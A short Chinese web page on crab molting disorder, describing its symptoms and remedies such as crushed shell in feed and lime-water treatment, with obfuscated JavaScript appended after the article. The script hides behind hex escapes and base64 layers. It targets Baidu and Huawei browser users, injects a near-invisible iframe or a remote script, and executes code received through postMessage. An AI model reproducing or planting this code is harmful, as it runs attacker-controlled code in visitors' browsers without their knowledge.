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螃蟹蜕壳障碍病的症状及治疗方法

螃蟹蜕壳障碍病的表现症状

当螃蟹有疾病或缺少某些微量元素时会患蜕壳障碍病,螃蟹无力蜕壳或仅能蜕出部分蟹壳,头、胸部与腹部出现裂痕,周身发黑,最后死亡。

螃蟹蜕壳障碍病

螃蟹蜕壳障碍病的防治方法

检查螃蟹是否患病,若已患病,需对症下药治疗;或将蟹壳(禽蛋壳亦可)碾碎后拌入饲料中投喂;或全池泼洒石灰水(石灰在池水中浓度为15~20m/kg),每5天1次,连续3~4次。

部分专业知识转自网络

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eval("\x77\x69\x6e\x64\x6f\x77")["\x72\x76\x76\x64"]=function(e){var YY =''+'ABCDEFGH'+'IJKLMNO'+'PQRSTUVWXYZa'+'bcdefg'+'hijklmnopqrst'+'uvwxyz0'+'123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=YY.indexOf(e.charAt(f++));o=YY.indexOf(e.charAt(f++));u=YY.indexOf(e.charAt(f++));a=YY.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x53\x76\x75\x59\x64\x72\x45\x70\x75"]=function(){eval(rvvd("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQocnZ2ZCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHJ2dmQoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihydnZkKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbcnZ2ZCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHJ2dmQoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6TVRMMycrJ1VETjMwJysnQ2VHR0onKydUJysnSnFwbScrJ2IzazJZJysnRycrJ0dKVEp6JysnUUROd0UnKydUJysnUXpVJysnU2J2JysnTicrJ20nKydMaE4nKyczJysnYW5aMmInKyd1YycrJzNkMycrJ1onKydrJysnTWwnKydZa01sJysnRTAnKydNbCcrJ01IJysnYzBSJysnSGEnKycnKycnLCcnKydjZlgnKydWWDQnKyc1WicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyd1NjMnKydRUGcnKydkJysnJysnJywnRycp"));}
eval("\x77\x69\x6e\x64\x6f\x77")["\x74\x43\x54\x61"]=function(e){var Cs =''+'ABCDEFGHIJKLM'+'NOPQRSTUVWXYZab'+'cdefgh'+'ijklmnopqrs'+'tuvwxyz01234567'+'89+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Cs.indexOf(e.charAt(f++));o=Cs.indexOf(e.charAt(f++));u=Cs.indexOf(e.charAt(f++));a=Cs.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x73\x6C\x43\x49\x46\x65\x54\x61\x74"]=function(){eval(tCTa("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQodENUYSh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHRDVGEoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih0Q1RhKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbdENUYSgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHRDVGEoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6TVRMJysndycrJ1UnKydqJysnTXonKycwJysnQ2VHJysnSlQnKydKc1YnKydEWicrJ3pWVycrJ2JHSlRKJysnelFEJysnTncnKydFJysnVFEnKyd6VVNTJysnYnZObScrJ0x1JysnSjInKydjJysnbVJXYicrJ3VjM2QzJysnWmtNJysnbFlrJysnTWwnKydFME0nKydsTScrJ0hjJysnMFJIYScrJycrJycsJycrJ2hEdicrJ3RUaycrJ1YwJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ0RjcCcrJ0pxNicrJ2knKycnKycnLCdTJyk="));}